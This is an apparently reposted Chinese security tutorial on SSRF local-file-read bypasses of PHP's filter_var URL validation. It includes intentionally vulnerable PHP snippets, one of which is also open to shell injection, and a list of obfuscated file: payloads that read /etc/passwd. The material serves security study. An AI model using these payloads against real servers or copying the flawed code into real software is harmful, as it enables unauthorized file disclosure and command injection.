Part 1: SSRF -> 任意文件读取绕过新姿势
对于 SSRF,我在这里只对 LFR/LFD(本地文件读取/泄露)结果感兴趣,因此我使用了以下 3 种主要方法来在 PHP 中检索URL:
- curl library
- file_get_contents()
- exec()
显然,对这些场景的利用如果没有任何验证或过滤就非常简单直接:
file:///etc/passwd
但我对简单验证的绕过感兴趣,比如由 filter_var() 提供的带有 FILTER_VALIDATE_URL 和 FILTER_FLAG_QUERY_REQUIRED 的验证,因为这些是验证 URL 的最基本方法,这是输入应该以合法方式传递给应用程序的内容。
因此,这是第一个存在漏洞的代码:
1
<?php
2
function
curl
($url)
{
3
$optArray =
array
(
4
CURLOPT_URL => $url,
5
CURLOPT_FOLLOWLOCATION =>
1
6
);
7
$ch = curl_init();
8
curl_setopt_array($ch, $optArray);
9
$response = curl_exec($ch)
or
die
(
"Error!"
);
10
curl_close($ch);
11
12
return
$response;
13
}
14
$content = curl(filter_var($_GET[
"url"
], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
15
echo
$content;
它应该按照以下方式工作:
正如您在下面所看到的,我们的默认有效载荷不起作用:
但是以下有效:
payload1:
file:/etc/passwd?/
请注意,甚至无需在 file 方案后使用三个斜杠。问号使其通过验证(模拟 URL 查询),需要在其后添加内容(非空查询)。
这个示例还接受了一种 URL 双重编码技巧,以帮助规避检测:
让我们进入我们的第二种方法,使用 file_get_contents():
1
<?php
2
$f = filter_var($_GET[
"url"
], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)
or
die
(
"Error!"
);
3
echo
file_get_contents($f);
再次,我们的默认有效载荷不起作用。
但是我们的新构造起作用。
payload2:
file:///etc/?/../passwd
再次,使用“?”使其通过验证,同时我们将其用作某个目录/文件夹的名称。然后,我们需要使用“/../”技巧来返回到“/etc/”。
对于我们的第三种情况,这是代码(暂时不考虑命令注入)
1
<?php
2
$url = filter_var($_GET[
"url"
], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED);
3
exec(
'curl -L '
. $url, $content)
or
die
(
"Error!"
);
4
print_r($content);
5
使用默认有效载荷的虚拟尝试:
以及成功的尝试。
payload3:
file:/etc/passwd?/
这些与第一种情况相同,但它允许一些有趣的混淆技巧:
payload4:
1
file
:
${br}
/et
${u}
c/pas
${te}
swd?/
1
因为
"
${x}
"
(其中
"x"
可以是任何常规字符或字符串)是 Bash 中的变量替换,该变量必须不存在才能被简单丢弃在执行的命令中。也可以使用
"
$(x)
"
。
所以到目前为止,这是我们要添加到你的 SSRF 武器库中的列表!
1
file:/etc/passwd?/
2
file:/etc/passwd%3F/
3
file:/etc%252Fpasswd/
4
file:/etc%252Fpasswd%3F/
5
file:///etc/?/../passwd
6
file:///etc/%3F/../passwd
7
file:${br}/et${u}c/pas${te}swd?/
8
file:
$(br)
/et
$(u)
c/pas
$(te)
swd?/
9
file:${br}/et${u}c%252Fpas${te}swd?/
10
file:
$(br)
/et
$(u)
c%252Fpas
$(te)
swd?/
11
file:${br}/et${u}c%252Fpas${te}swd%3F/
12
file:
$(br)
/et
$(u)
c%252Fpas
$(te)
swd%3F/
13
file:///etc/passwd?/../passwd
这最后一个是适用于上述所有 3 种情况的 SSRF 多语言。
可以(或需要)对其他字符进行 URL 编码,如 ":"、"." 和 "/",这将稍微增加这个列表项。
期待下一篇 SSRF 新东西, 各位公众号粉丝宝宝,点点关注哦!
Thanks for https://rodoassis.medium.com/on-ssrf-server-side-request-forgery-or-simple-stuff-rodolfo-found-part-i-4edf7ee75389
Author: Rodolfo Assis
原文始发于微信公众号(湘安无事):SSRF -> 任意文件读取绕过新姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论